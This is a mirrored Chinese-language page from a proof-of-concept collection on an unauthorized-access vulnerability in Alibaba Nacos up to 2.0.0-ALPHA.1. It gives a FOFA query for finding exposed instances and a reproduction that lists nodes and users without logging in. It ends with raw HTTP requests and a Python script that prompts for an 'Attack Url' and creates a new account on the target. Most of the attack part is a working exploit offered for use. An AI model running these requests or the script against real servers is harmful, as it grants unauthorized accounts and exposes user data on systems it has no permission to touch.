mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
230 lines
5.1 KiB
Markdown
230 lines
5.1 KiB
Markdown
# Alibaba Nacos 未授权访问漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
2020年12月29日，Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞，攻击者可以进行任意操作，包括创建新用户并进行登录后操作。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Nacos <= 2.0.0-ALPHA.1
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
title="Nacos"
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
|
||
|
||
```shell
|
||
wget https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
|
||
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
|
||
./startup.sh -m standalone
|
||
```
|
||
|
||
|
||
|
||
然后访问 http://xxx.xxx.xxx.xxx:8848/nacos 即可，默认账号密码 **nacos/nacos**
|
||
|
||
|
||
|
||
|
||
|
||
## 漏洞复现
|
||
|
||
可以再项目的 issues 中看到大量的关于越权的安全问题的讨论
|
||
|
||
|
||
|
||
https://github.com/alibaba/nacos/issues/1105
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
这里我们在登录后任意一个位置看一下请求，并在未授权的情况下看是否可以访问
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
这里的请求url简化为
|
||
|
||
|
||
|
||
http://xxx.xxx.xxx.xxx:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
|
||
|
||
|
||
|
||
退出用户后在前台访问这个 url
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
可以发现以及泄露了 **ip节点** 等数据
|
||
|
||
|
||
|
||
同样我们查看用户列表的请求并在前台访问
|
||
|
||
|
||
|
||
http://xxx.xxx.xxx.xxx:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
这里可以发现对用户的请求是完全没有过滤的，可以通过未授权的情况获取用户的敏感信息
|
||
|
||
|
||
|
||
我们尝试创建用户并抓包
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
返回下列创建成功
|
||
|
||
|
||
|
||
```plain
|
||
{"code":200,"message":"create user ok!","data":null}
|
||
```
|
||
|
||
|
||
|
||
同样的我们简化请求
|
||
|
||
|
||
|
||
```plain
|
||
POST /nacos/v1/auth/users?
|
||
username=peiqi&password=peiqi
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
看到有文章说要加上**User-Agent请求头**
|
||
|
||
|
||
|
||
```plain
|
||
User-Agent: Nacos-Server
|
||
```
|
||
|
||
|
||
|
||
但是大量测试之后发现好像是无关紧要的，没有请求头同样可以创建用户
|
||
|
||
- 同样的原理也可以用于修改密码添加配置等
|
||
|
||
## 漏洞POC
|
||
|
||
```
|
||
# 添加用户
|
||
POST /nacos/v1/auth/users HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Nacos-Server
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/
|
||
*;q=0.8
|
||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate
|
||
DNT: 1
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 0
|
||
|
||
username=aaaa&password=bbbb
|
||
```
|
||
|
||
```
|
||
# 查看用户
|
||
GET /nacos/v1/auth/users?pageNo=1&pageSize=100 HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Nacos-Server
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
|
||
q=0.8
|
||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate
|
||
DNT: 1
|
||
Connection: close
|
||
```
|
||
|
||
- 注意下大部分企业的 nacos的url为 /v1/auth/users ，而不是 /nacos/v1/auth/users
|
||
- 可以按目标情况自行修改
|
||
|
||
```python
|
||
import requests
|
||
import sys
|
||
import random
|
||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||
|
||
def title():
|
||
print('+------------------------------------------')
|
||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||
print('+ \033[34mVersion: Nacos <= 2.0.0-ALPHA.1 \033[0m')
|
||
print('+ \033[36m使用格式: python3 poc.py \033[0m')
|
||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
|
||
print('+------------------------------------------')
|
||
|
||
def POC_1(target_url):
|
||
# vuln_url = target_url + "/nacos/v1/auth/users"
|
||
vuln_url = target_url + "/v1/auth/users"
|
||
headers = {
|
||
"User-Agent": "Nacos-Server",
|
||
"Content-Type": "application/x-www-form-urlencoded",
|
||
}
|
||
number = random.randint(0,999)
|
||
data = "username=peiqi{}&password=peiqi".format(str(number))
|
||
try:
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
|
||
print("\033[32m[o] 正在请求 {}/nacos/v1/auth/users \033[0m".format(target_url))
|
||
if "create user ok!" in response.text and response.status_code == 200:
|
||
print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))
|
||
print("\033[32m[o] 成功创建账户 peiqi{} peiqi\033[0m".format(str(number)))
|
||
else:
|
||
print("\033[31m[x] 创建用户请求失败 \033[0m")
|
||
sys.exit(0)
|
||
except Exception as e:
|
||
print("\033[31m[x] 请求失败 \033[0m", e)
|
||
|
||
if __name__ == '__main__':
|
||
title()
|
||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||
POC_1(target_url)
|
||
```
|
||
|
||
|
||
|
||
|